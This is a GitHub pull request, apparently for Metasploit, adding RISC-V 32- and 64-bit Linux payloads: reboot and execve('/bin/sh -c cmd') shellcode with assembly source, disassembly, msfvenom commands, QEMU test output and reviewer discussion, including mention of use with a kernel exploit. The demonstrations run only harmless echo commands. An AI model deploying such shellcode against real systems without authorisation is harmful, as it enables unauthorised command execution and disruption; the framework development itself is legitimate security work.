Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for RISC-V 32-bit / 64-bit Little Endian payloads #19518

Open
wants to merge 7 commits into
base: master
Choose a base branch
from

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Sep 30, 2024

Add support for RISC-V 32-bit / 64-bit Little Endian payloads. Includes Linux Execute Command payloads and Linux Reboot payloads for testing.

  • 32-bit payloads and NOPs were tested on QEMU riscv32 successfully
  • 64-bit payloads and NOPs were tested on QEMU riscv64 successfully
  • 64-bit payloads and NOPs were tested on MilkV Duo RISC-V 64-bit hardware successfully

Note: We don't handle syscall failure or call exit. This saves a few bytes.
Note: Executing 32-bit payloads in a 64-bit environment will fail.
Note: Executing the Linux Reboot payloads as a low privileged user will crash. reboot is a privileged syscall.
Note: Executing the Linux Execute Command payloads in a Linux environment where /bin/sh is a symlink to BusyBox /bin/busybox (such as MilkV Duo default image) will crash. This is a WontFix for me. For testing purposes, you can work around this with: sudo cp /bin/sh /bin/sh.old && sudo cp /bin/bash /bin/sh.

Motivation

This PR lays the foundation for further development of RISC-V payloads.

RISC-V is gaining popularity. Major Linux distributions (Ubuntu, Debian, and Fedora) offer RISC-V development builds. RISC-V based SBCs and consumer-grade laptops are slowly entering the market.

Verification

Linux Reboot

Generate a Linux Reboot payload (with optional NOP sled):

  • ./msfvenom -n 100 --format elf -p linux/riscv64le/reboot > reboot.elf

Execute the payload with QEMU (I suggest doing this within an emulated Linux environment):

  • /home/user/qemu/build/qemu-riscv64 -strace ./reboot
  • Note reboot fails as a low privileged user
  • Save your work. You are about to reboot your system.
  • sudo /home/user/qemu/build/qemu-riscv64 -strace ./reboot
  • Note the system reboots

Linux Execute Command

Generate a Linux Execute Command payload (with optional NOP sled):

  • ./msfvenom --format elf -p linux/riscv64le/exec "CMD=echo Hello, World\!>/tmp/asdf" > exec.elf

Execute the payload with QEMU (optionally within an emulated Linux environment):

  • /home/user/qemu/build/qemu-riscv64 -strace ./exec
  • Note the payload was executed successfully. Hello, World! should now exist in /tmp/asdf.

Linux Reboot

Source (64-bit)

$ cat reboot.s
.global _start
.section .text

_start:
  li a0, 0xfee1dead   # magic1
  li a1, 0x28121969   # magic2
  li a2, 0x01234567   # LINUX_REBOOT_CMD_RESTART
  li a7, 142          # reboot
  ecall
$ cat build
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d reboot

reboot:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078: 0007f537            lui a0,0x7f
   1007c: 70f5051b            addiw a0,a0,1807
   10080: 00d51513            slli  a0,a0,0xd
   10084: ead50513            addi  a0,a0,-339 # 7eead <__global_pointer$+0x6d60d>
   10088: 281225b7            lui a1,0x28122
   1008c: 9695859b            addiw a1,a1,-1687
   10090: 01234637            lui a2,0x1234
   10094: 5676061b            addiw a2,a2,1383
   10098: 08e00893            li  a7,142
   1009c: 00000073            ecall

Source (32-bit)

$ cat reboot.s
.global _start
.section .text

_start:
  li a0, 0xfee1dead   # magic1
  li a1, 0x28121969   # magic2
  li a2, 0x01234567   # LINUX_REBOOT_CMD_RESTART
  li a7, 142          # reboot
  ecall
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d reboot

reboot:     file format elf32-littleriscv


Disassembly of section .text:

00010054 <_start>:
   10054:	fee1e537          	lui	a0,0xfee1e
   10058:	ead50513          	addi	a0,a0,-339 # fee1dead <__global_pointer$+0xfee0c639>
   1005c:	281225b7          	lui	a1,0x28122
   10060:	96958593          	addi	a1,a1,-1687 # 28121969 <__global_pointer$+0x281100f5>
   10064:	01234637          	lui	a2,0x1234
   10068:	56760613          	addi	a2,a2,1383 # 1234567 <__global_pointer$+0x1222cf3>
   1006c:	08e00893          	li	a7,142
   10070:	00000073          	ecall

Linux Execute Command

Source (64-bit)

Uses modexp's RISC-V 64-bit shellcode.

$ cat exec.s
.global _start
.section .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -64            # allocate 64 bytes of stack
    li     a7, 221                # execve
    li     a0, 0x0068732F6E69622F # a0 = "/bin/sh\0"
    sd     a0, (sp)               # store "/bin/sh\0" on the stack
    mv     a0, sp                 # a0 = sp
    li     a1, 0x632D             # a1 = "-c"
    sd     a1, 8(sp)              # store "-c" on the stack
    addi   a1, sp, 8              # a1 = sp + 8
    la     a2, cmd                # a2 = cmd
    sd     a0, 16(sp)             # store a0 on the stack
    sd     a1, 24(sp)             # store a1 on the stack
    sd     a2, 32(sp)             # store a2 on the stack
    sd     x0, 40(sp)             # store NULL on the stack
    addi   a1, sp, 16             # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                 # penv = NULL
    ecall 
cmd:
    .asciz "echo Hello, World!"
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x exec

$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d exec

exec:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078:	fc010113          	addi	sp,sp,-64
   1007c:	0dd00893          	li	a7,221
   10080:	34399537          	lui	a0,0x34399
   10084:	7b75051b          	addiw	a0,a0,1975
   10088:	00c51513          	slli	a0,a0,0xc
   1008c:	34b50513          	addi	a0,a0,843 # 3439934b <__global_pointer$+0x34387a63>
   10090:	00d51513          	slli	a0,a0,0xd
   10094:	22f50513          	addi	a0,a0,559
   10098:	00a13023          	sd	a0,0(sp)
   1009c:	00010513          	mv	a0,sp
   100a0:	000065b7          	lui	a1,0x6
   100a4:	32d5859b          	addiw	a1,a1,813
   100a8:	00b13423          	sd	a1,8(sp)
   100ac:	00810593          	addi	a1,sp,8
   100b0:	00000617          	auipc	a2,0x0
   100b4:	02460613          	addi	a2,a2,36 # 100d4 <cmd>
   100b8:	00a13823          	sd	a0,16(sp)
   100bc:	00b13c23          	sd	a1,24(sp)
   100c0:	02c13023          	sd	a2,32(sp)
   100c4:	02013423          	sd	zero,40(sp)
   100c8:	01010593          	addi	a1,sp,16
   100cc:	00000613          	li	a2,0
   100d0:	00000073          	ecall

00000000000100d4 <cmd>:
   100d4:	6365                	lui	t1,0x19
   100d6:	6f68                	ld	a0,216(a4)
   100d8:	4820                	lw	s0,80(s0)
   100da:	6c65                	lui	s8,0x19
   100dc:	6f6c                	ld	a1,216(a4)
   100de:	202c                	fld	fa1,64(s0)
   100e0:	6c726f57          	0x6c726f57
   100e4:	2164                	fld	fs1,192(a0)
	...

Source (32-bit)

Uses modexp's RISC-V 64-bit shellcode modified for RISC-V 32-bit.

$ cat exec.s
.global _start
.section .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -32            # allocate 32 bytes of stack
    li     a7, 221                # execve
    li     a0, 0x6E69622F         # a0 = "/bin"
    sw     a0, 0(sp)              # store "/bin" on the stack
    li     a0, 0x0068732F         # a0 = "/sh\0"
    sw     a0, 4(sp)              # store "/sh\0" on the stack
    addi   a0, sp, 0              # a0 = sp
    li     a1, 0x632D             # a1 = "-c"
    sw     a1, 8(sp)              # store "-c" on the stack
    addi   a1, sp, 8              # a1 = sp + 8
    la     a2, cmd                # a2 = cmd
    sw     a0, 12(sp)             # store a0 on the stack
    sw     a1, 16(sp)             # store a1 on the stack
    sw     a2, 20(sp)             # store a2 on the stack
    sw     x0, 24(sp)             # store NULL on the stack
    addi   a1, sp, 12             # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                 # penv = NULL
    ecall
cmd:
    .asciz "echo Hello, World!"
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x exec
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d exec

exec:     file format elf32-littleriscv


Disassembly of section .text:

00010054 <_start>:
   10054:	fe010113          	addi	sp,sp,-32
   10058:	0dd00893          	li	a7,221
   1005c:	6e696537          	lui	a0,0x6e696
   10060:	22f50513          	addi	a0,a0,559 # 6e69622f <__global_pointer$+0x6e68496f>
   10064:	00a12023          	sw	a0,0(sp)
   10068:	00687537          	lui	a0,0x687
   1006c:	32f50513          	addi	a0,a0,815 # 68732f <__global_pointer$+0x675a6f>
   10070:	00a12223          	sw	a0,4(sp)
   10074:	00010513          	mv	a0,sp
   10078:	000065b7          	lui	a1,0x6
   1007c:	32d58593          	addi	a1,a1,813 # 632d <_start-0x9d27>
   10080:	00b12423          	sw	a1,8(sp)
   10084:	00810593          	addi	a1,sp,8
   10088:	00000617          	auipc	a2,0x0
   1008c:	02460613          	addi	a2,a2,36 # 100ac <cmd>
   10090:	00a12623          	sw	a0,12(sp)
   10094:	00b12823          	sw	a1,16(sp)
   10098:	00c12a23          	sw	a2,20(sp)
   1009c:	00012c23          	sw	zero,24(sp)
   100a0:	00c10593          	addi	a1,sp,12
   100a4:	00000613          	li	a2,0
   100a8:	00000073          	ecall

000100ac <cmd>:
   100ac:	6365                	lui	t1,0x19
   100ae:	6f68                	flw	fa0,92(a4)
   100b0:	4820                	lw	s0,80(s0)
   100b2:	6c65                	lui	s8,0x19
   100b4:	6f6c                	flw	fa1,92(a4)
   100b6:	202c                	fld	fa1,64(s0)
   100b8:	6c726f57          	0x6c726f57
   100bc:	2164                	fld	fs1,192(a0)
	...

@bcoles bcoles added the payload label Sep 30, 2024
@dwelch-r7 dwelch-r7 self-assigned this Oct 1, 2024
@bcoles
Copy link
Contributor Author

bcoles commented Oct 1, 2024

This PR is ready for testing. Tests are passing, with the exception of an unrelated PHP-related test which failed after 15+ minutes.

Hardware

Milk-V and Pine64 sell cheap (US$10) RISC-V boards capable of running Linux + userland utlities.

Tested on:

  • Milk-V Duo 1GHz RV64

Emulation

QEMU

QEMU supports RISC-V. QEMU versions 8.2.93 and 9.1.50 emulate RISC-V well.

Debian Quick Image Baker images can be used to easily emulate a Debian RISC-V Linux system.

Ubuntu and Fedora images are also available.

I can provide QEMU command line arguments for these if required.

TinyEMU

Also tested with tinyemu:

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Oct 2, 2024

@dwelch-r7, if you happen to create an emulated RISC-V Ubuntu VM, could I talk you into installing kernel 5.19 and testing #19460 ? 😄
Alternatively, I'll build it and test both at the same time.

@bcoles
Copy link
Contributor Author

bcoles commented Oct 3, 2024

@dwelch-r7, if you happen to create an emulated RISC-V Ubuntu VM, could I talk you into installing kernel 5.19 and testing #19460 ? 😄 Alternatively, I'll build it and test both at the same time.

FWIW; here's a working QEMU invocation for Ubuntu 22.04.1 Server with 5.15.0-1027-generic kernel:

#!/bin/sh
# dd if=/dev/zero bs=1M of=ubuntu.img count=1 seek=16383
# https://wiki.ubuntu.com/RISC-V
# https://wiki.qemu.org/Documentation/Platforms/RISCV
# https://discourse.ubuntu.com/t/ubuntu-installation-on-a-risc-v-virtual-machine-using-a-server-install-image-and-qemu/27636

/home/user/qemu/build/qemu-system-riscv64 \
    -M virt -m 4G -smp cpus=2 -nographic \
    -smp 2 \
    -bios /usr/lib/riscv64-linux-gnu/opensbi/generic/fw_jump.bin \
    -kernel /usr/lib/u-boot/qemu-riscv64_smode/u-boot.bin \
    -netdev user,id=net0 \
    -device virtio-net-device,netdev=net0 \
    -drive file=ubuntu.img,format=raw,if=virtio \
    -device virtio-rng-pci \
    -no-reboot

    #-drive file=ubuntu-22.04.1-live-server-riscv64.img,format=raw,if=virtio \

Use the commented -drive line at the bottom to boot from ubuntu-22.04.1-live-server-riscv64.img to complete the install process. Then comment the line again to boot the installed system.

You may need the u-boot-qemu and opensbi packages (apt install u-boot-qemu opensbi).

@bwatters-r7
Copy link
Contributor

image

Reboot worked as elevated user.

@bcoles
Copy link
Contributor Author

bcoles commented Oct 4, 2024

image

Reboot worked as elevated user.

reboot is a privileged sycall. strace should show Operation not permitted:

$ /home/user/qemu/build/qemu-riscv64 -strace ./reboot
15265 reboot(4276215469,672274793,19088743,0,0,0) = -1 errno=1 (Operation not permitted)
--- SIGILL {si_signo=SIGILL, si_code=1, si_addr=0x00000000000100a0} ---
Illegal instruction (core dumped)

@bcoles
Copy link
Contributor Author

bcoles commented Oct 4, 2024

I've also added Linux Execute Command 32-bit/64-bit RISC-V LE payloads.

@bwatters-r7 These payloads should be useful for the Overlay exploit.

Both payloads were tested successfully in an emulator. The 64-bit payload was also tested on real hardware.

Linux Execute Command (64-bit)

# ./msfvenom --format elf -p linux/riscv64le/exec "CMD=echo Hello, World\!>/tmp/asdf" RandomNops=true > exec.elf 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: riscv64le from the payload
No encoder specified, outputting raw payload
Payload size: 124 bytes
Final size of elf file: 244 bytes
$ /home/user/qemu/build/qemu-riscv64 -strace exec.elf
16593 execve("/bin/sh",{"/bin/sh","-c","echo Hello, World\!>/tmp/asdf",NULL})user@dev-ubuntu:~/Desktop/riscv64/cmd$ cat /tmp/asdf
Hello, World!

Linux Execute Command (32-bit)

$ ./msfvenom --format elf -p linux/riscv32le/exec "CMD=echo Hello, World\!>/tmp/asdf" > exec.elf 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: riscv32le from the payload
No encoder specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 204 bytes
$ /home/user/qemu/build/qemu-riscv32 -strace ./exec.elf
16827 execve("/bin/sh",{"/bin/sh","-c","echo Hello, World\!>/tmp/asdf",NULL})user@dev-ubuntu:~/Desktop/riscv32/cmd$ cat /tmp/asdf
Hello, World!

@bcoles bcoles force-pushed the riscv branch 2 times, most recently from 89f98f3 to 4831d26 Compare October 7, 2024 11:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants